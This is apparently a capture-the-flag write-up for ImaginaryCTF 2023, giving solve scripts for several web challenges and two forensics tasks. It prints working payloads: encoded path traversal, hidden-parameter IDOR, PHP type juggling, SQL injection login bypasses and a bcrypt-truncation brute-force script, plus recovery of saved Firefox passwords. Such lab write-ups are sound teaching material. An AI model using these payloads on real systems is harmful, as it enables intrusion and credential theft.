ImaginaryCTF2023 - webx7, forx2
Web
roks
my payload:
GET /file.php?file=%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252Fflag%25252Epng
Flag: ictf{tr4nsv3rs1ng_0v3r_r0k5_6a3367}
idoriot
Source code:
<?php
session_start();
// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
header("Location: login.php");
exit();
}
// Check if session is expired
if (time() > $_SESSION['expires']) {
header("Location: logout.php");
exit();
}
// Display user ID on landing page
echo "Welcome, User ID: " . urlencode($_SESSION['user_id']);
// Get the user for admin
$db = new PDO('sqlite:memory:');
$admin = $db->query('SELECT * FROM users WHERE user_id = 0 LIMIT 1')->fetch();
// Check if the user is admin
if ($admin['user_id'] === $_SESSION['user_id']) {
// Read the flag from flag.txt
$flag = file_get_contents('flag.txt');
echo "<h1>Flag</h1>";
echo "<p>$flag</p>";
} else {
// Display the source code for this file
echo "<h1>Source Code</h1>";
highlight_file(__FILE__);
}
?>
Based on the source code can be seen, to get the flag we need a user_role
of 0. Can edit it through burp.
Solution:
import requests
url = "http://idoriot.chal.imaginaryctf.org/"
def session_requests(sess, method, endpoint, data=None):
try:
if method == 'POST':
response = sess.post(url + endpoint, data=data)
else:
response = sess.get(url + endpoint, data=data)
response.raise_for_status()
return response.text
except requests.exceptions.RequestException as e:
print(f"Have error: {e}")
return None
with requests.Session() as session:
res = session_requests(session, 'POST', 'register.php', { "username":"taiwhis", "password":"abc", "user_id":0 }) # replae username if time < 30 min
print(res)
Result:
┌──(taiwhis㉿kali)-[~]
└─$ python 1.py
Welcome, User ID: 0<h1>Flag</h1><p>ictf{1ns3cure_direct_object_reference_from_hidden_post_param_i_guess}</p>
idoriot-revenge
The website allows logging in with any account and provides the source code.
Note: The user database will be wiped every 30 minutes.
Source code:
<?php
session_start();
// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
header("Location: login.php");
exit();
}
// Check if session is expired
if (time() > $_SESSION['expires']) {
header("Location: logout.php");
exit();
}
// Display user ID on landing page
echo "Welcome, User ID: " . urlencode($_SESSION['user_id']);
// Get the user for admin
$db = new PDO('sqlite:memory:');
$admin = $db->query('SELECT * FROM users WHERE username = "admin" LIMIT 1')->fetch();
// Check user_id
if (isset($_GET['user_id'])) {
$user_id = (int) $_GET['user_id'];
// Check if the user is admin
if ($user_id == "php" && preg_match("/".$admin['username']."/", $_SESSION['username'])) {
// Read the flag from flag.txt
$flag = file_get_contents('/flag.txt');
echo "<h1>Flag</h1>";
echo "<p>$flag</p>";
}
}
// Display the source code for this file
echo "<h1>Source Code</h1>";
highlight_file(__FILE__);
?>
I will pay attention to this code snippet. It contains a PHP Type Juggling vulnerability in line 5 ==
.
// Check user_id
if (isset($_GET['user_id'])) {
$user_id = (int) $_GET['user_id'];
// Check if the user is admin
if ($user_id == "php" && preg_match("/".$admin['username']."/", $_SESSION['username'])) {
// Read the flag from flag.txt
$flag = file_get_contents('/flag.txt');
echo "<h1>Flag</h1>";
echo "<p>$flag</p>";
}
}
Bypass preg_match("/".$admin['username']."/", $_SESSION['username']
by creating an account with any username that includes the word admin
in it, you can exploit the PHP Type Juggling vulnerability.
Bypass $user_id == "php"
using use_id=0
Solution:
import requests
url = "http://idoriot-revenge.chal.imaginaryctf.org/"
def session_requests(sess, method, endpoint, data=None):
try:
if method == 'POST':
response = sess.post(url + endpoint, data=data)
else:
response = sess.get(url + endpoint, data=data)
response.raise_for_status()
return response.text
except requests.exceptions.RequestException as e:
print(f"Have error: {e}")
return None
with requests.Session() as session:
session_requests(session, 'POST', 'register.php', {"username":"admin_test","password":"test"})
res = session_requests(session, 'GET', 'index.php?user_id=0')
print(res)
Result:
┌──(taiwhis㉿kali)-[~]
└─$ python 6.py
Welcome, User ID: 595833842<h1>Flag</h1><p>ictf{this_ch4lleng3_creator_1s_really_an_idoriot}</p><h1>Source Code</h1><code><span style="color: #000000">
...
blank
Source code: https://imaginaryctf.org/r/FVauo#blank_dist.zip
app.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;
db.get('SELECT * FROM users WHERE username = "' + username + '" and password = "' + password+ '"', (err, row) => {
if (err) {
console.error(err);
res.status(500).send('Error retrieving user');
} else {
if (row) {
req.session.loggedIn = true;
req.session.username = username;
res.send('Login successful!');
} else {
res.status(401).send('Invalid username or password');
}
}
});
});
At line number 5, have a SQL injection vulnerability.
app.get('/flag', (req, res) => {
if (req.session.username == "admin") {
res.send('Welcome admin. The flag is ' + fs.readFileSync('flag.txt', 'utf8'));
}
else if (req.session.loggedIn) {
res.status(401).send('You must be admin to get the flag.');
} else {
res.status(401).send('Unauthorized. Please login first.');
}
});
Only admin
can read the flag.
Test bypass login
┌──(taiwhis㉿kali)-[~]
└─$ curl -X POST "http://blank.chal.imaginaryctf.org/login" \
-H "Host: blank.chal.imaginaryctf.org" \
-H "Origin: http://blank.chal.imaginaryctf.org" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Referer: http://blank.chal.imaginaryctf.org/login" \
-H "Cookie: connect.sid=s%3AmkTFBAbVRFCgotHP5WBHTn4qstbev9Wj.BIGMwk5AsQcgKQANscObLBlAuWqje9HBB%2B8WFohFCNY" \
--data "username=admin&password=%22%20or%201%3D1%20union%20select%201%2C2%2C3--" \
--compressed
Login successful!
Solution:
┌──(taiwhis㉿kali)-[~]
└─$ cat 1.py
import requests
url = "http://blank.chal.imaginaryctf.org/"
def session_requests(sess, method, endpoint, data=None):
try:
if method == 'POST':
response = sess.post(url + endpoint, data=data)
else:
response = sess.get(url + endpoint, data=data)
response.raise_for_status()
return response.text
except requests.exceptions.RequestException as e:
print(f"Have error: {e}")
return None
with requests.Session() as session:
session_requests(session, "POST", "login", { "username":"admin","password":'" or 1=1 union select 1,2,3 --' })
res = session_requests(session, "GET", "flag")
print(res)
Result:
┌──(taiwhis㉿kali)-[~]
└─$ python 1.py
Welcome admin. The flag is ictf{sqli_too_powerful_9b36140a}
Perfect Picture
Source code: https://imaginaryctf.org/r/Gdmod#perfect_picture.zip
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return 'no file selected'
file = request.files['file']
if file.filename == '':
return 'no file selected'
if file and allowed_file(file.filename):
filename = file.filename
img_name = f'{str(random.randint(10000, 99999))}.png'
file.save(app.config['UPLOAD_FOLDER'] + img_name)
res = check(img_name)
if res == 0:
os.remove(app.config['UPLOAD_FOLDER'] + img_name)
return("hmmph. that image didn't seem to be good enough.")
else:
os.remove(app.config['UPLOAD_FOLDER'] + img_name)
return("now that's the perfect picture:<br>" + res)
return 'invalid file'
if __name__ == '__main__':
app.run()
The code contains some basic functionality, limited to uploading images.
Onlly allowed PNG app.config['ALLOWED_EXTENSIONS'] = {'png'}
def check(uploaded_image):
with open('flag.txt', 'r') as f:
flag = f.read()
with Image.open(app.config['UPLOAD_FOLDER'] + uploaded_image) as image:
w, h = image.size
if w != 690 or h != 420:
return 0
if image.getpixel((412, 309)) != (52, 146, 235, 123):
return 0
if image.getpixel((12, 209)) != (42, 16, 125, 231):
return 0
if image.getpixel((264, 143)) != (122, 136, 25, 213):
return 0
with exiftool.ExifToolHelper() as et:
metadata = et.get_metadata(app.config['UPLOAD_FOLDER'] + uploaded_image)[0]
try:
if metadata["PNG:Description"] != "jctf{not_the_flag}":
return 0
if metadata["PNG:Title"] != "kool_pic":
return 0
if metadata["PNG:Author"] != "anon":
return 0
except:
return 0
return flag
After uploading, the image will be checked for some conditions about bytes and metadata. If the condition is met, the result will return a flag.
Solution:
import requests
from PIL import Image
import os
def create_image(width, height, filename):
image = Image.new("RGBA", (width, height), (255, 255, 255, 0))
image.putpixel((412, 309), (52, 146, 235, 123))
image.putpixel((12, 209), (42, 16, 125, 231))
image.putpixel((264, 143), (122, 136, 25, 213))
image.save(filename)
url = "http://perfect-picture.chal.imaginaryctf.org/upload"
filename = "test.png"
create_image(690, 420, filename)
os.system('exiftool -PNG:Description="jctf{not_the_flag}" -PNG:Title="kool_pic" -PNG:Author="anon" test.png')
with open(filename, "rb") as file:
files = {"file": (filename, file, "image/png")}
res = requests.post(url, files=files)
print(res.text)
os.system("rm test.png")
Result:
┌──(taiwhis㉿kali)-[~]
└─$ python 2.py
1 image files updated
now that's the perfect picture:<br>ictf{7ruly_th3_n3x7_p1c4ss0_753433}
Login
Source code
<?php
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
$flag = $_ENV['FLAG'] ?? 'jctf{test_flag}';
$magic = $_ENV['MAGIC'] ?? 'aabbccdd11223344';
$db = new SQLite3('/db.sqlite3');
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$msg = '';
if (isset($_GET[$magic])) {
$password .= $flag;
}
if ($username && $password) {
$res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true);
if (!$res) {
$msg = "Invalid username or password";
} else if (password_verify($password, $res['pwhash'])) {
$u = htmlentities($res['username']);
$msg = "Welcome $u! But there is no flag here :P";
if ($res['username'] === 'admin') {
$msg .= "<!-- magic: $magic -->";
}
} else {
$msg = "Invalid username or password";
}
}
?>
In the above code snippet, we can easily identify a SQL injection vulnerability in the line: $res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true);
.
Mypayload:
username=' union select 'admin' as username,'$2y$10$wwwEgLYfgMl9.o6kdmABa.PJQxv9flMyjfDhzYPfjoD5F1lHVvTtO' as pwhash--&password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Please refer to this article for information on SQL injection with password_verify: SQL Injection with password_verify.
Based on the information provided, it appears that the web application has a unique behavior related to the login process. Specifically, whenever a user logs in, if the application makes a request to /?$magic
, the flag will be appended to the end of the password. The password will then be authenticated using the password_verify()
function.
Solution:
import requests
import string
import bcrypt
from concurrent.futures import ThreadPoolExecutor, as_completed
url = "http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0"
valid_chars = string.ascii_letters + string.digits + string.punctuation
flag = "ictf{why_are_bcrypt_truncating_my_passwords?!" #preseeding flags for faster brute-force.
def check_password(char):
global flag, password
password = 'a' * ( 71 - len(flag))
pass_test = password + flag + char
hash = bcrypt.hashpw(pass_test.encode('utf-8'), bcrypt.gensalt(rounds=10))
data = {
"username": "' union select 'admin' as username,'" + hash.decode('utf-8') + "' as pwhash--",
"password": password
}
res = requests.post(url, data=data)
if 'admin' in res.text:
print("Password: ", password + flag)
print("Found: ", char)
flag += char
password = password[:-1]
with ThreadPoolExecutor(max_workers=100) as executor: #change threads to be faster.
while flag[-1] != '}':
futures = [executor.submit(check_password, char) for char in valid_chars]
for future in futures:
future.result()
print("Flag is: ", flag)
Result:
┌──(taiwhis㉿kali)-[~]
└─$ python 5.py
Password: aaaaaaaaaaaaaaaaaaaaaaaaaaictf{why_are_bcrypt_truncating_my_passwords?!
Found: }
Flag is: ictf{why_are_bcrypt_truncating_my_passwords?!}
amogus (not solved)
Forensic
blurry
Link image: https://imaginaryctf.org/r/kaegq#chall.png
Setup:
!sudo apt-get install libzbar0
!pip install pyzbar
!pip install pyzbar[scripts]
Solution:
import cv2
from pyzbar.pyzbar import decode
imge_path = "/content/chall.png"
img = cv2.imread(imge_path)
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
adaptive_gaussian = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 17, 1)
data = decode(adaptive_gaussian)[0][0]
print("Flag is: ", data.decode('utf-8'))
Result:
┌──(taiwhis㉿kali)-[~]
└─$ python 1.py
Flag is: ictf{blurR1ng_is_n0_m4tch_4_u_2ab140c2}
Web
Link source: https://imaginaryctf.org/r/y1V79#web.zip
I was given a folder .mozilla
┌──(taiwhis㉿kali)-[~/Downloads/web]
└─$ ls -al
total 12
drwxr-xr-x 3 taiwhis taiwhis 4096 Jul 24 05:40 .
drwxr-xr-x 4 taiwhis taiwhis 4096 Jul 24 05:40 ..
drwx------ 4 taiwhis taiwhis 4096 Jul 9 18:45 .mozilla
I will use dumpzilla tool tool to find interesting things.
┌──(taiwhis㉿kali)-[~/Downloads/web]
└─$ python dumpzilla/dumpzilla.py .mozilla/firefox/8ubdbl3q.default
a suspicious website
Last Access: 2023-07-09 18:53:53
Title: PALMS Backchannel Chat | The new alternative to Todaysmeet
URL: https://yoteachapp.com/supersecrethackerhideout
Frequency: 2
and this is login info
=============================================================================================================
== Passwords
============================================================================================================
=> Source file: /home/taiwhis/Downloads/web/.mozilla/firefox/8ubdbl3q.default/logins.json
=> SHA256 hash: 15dedec5a0290af97085e31a7db0a2ab71fa98982b8e2cc266c3271c01eb714f
Web: https://yoteachapp.com
User field:
Password field:
User login (crypted): MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECJs6PTFwzrMiBAiRmXcD4tn3bw==
Password login (crypted): MGIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECBZPCW+NjkpUBDieso9w5lPvD85RNcErLbGTXdamyji7ZKcL9FHxjnvt1WqwcVCsOETgCWCgwCg1jJmAW/MYugOoqQ==
Created: 2023-07-09 18:53:56
Last used: 2023-07-09 18:53:56
Change: 2023-07-09 18:53:56
Frequency: 1
i need decrypt username and password. so I use the Firefox-Decrypt tool
┌──(taiwhis㉿kali)-[~/Downloads/web]
└─$ python firefox_decrypt/firefox_decrypt.py .mozilla/firefox/8ubdbl3q.default
2023-07-24 05:51:55,832 - WARNING - profile.ini not found in .mozilla/firefox/8ubdbl3q.default
2023-07-24 05:51:55,833 - WARNING - Continuing and assuming '.mozilla/firefox/8ubdbl3q.default' is a profile location
Website: https://yoteachapp.com
Username: ''
Password: 'UeMBYIbgPqNiSWzOVguTbccMOnLirDoEGTjgiqNrbOvwzynbyN'
I get login information for this site.
Login and get flag:
[*] flag found: ictf{behold_th3_forensics_g4untlet_827b3f13}
Reply Message Text to Speech ä¸æ–‡ International Room Ownerroot
14 days ago
Comments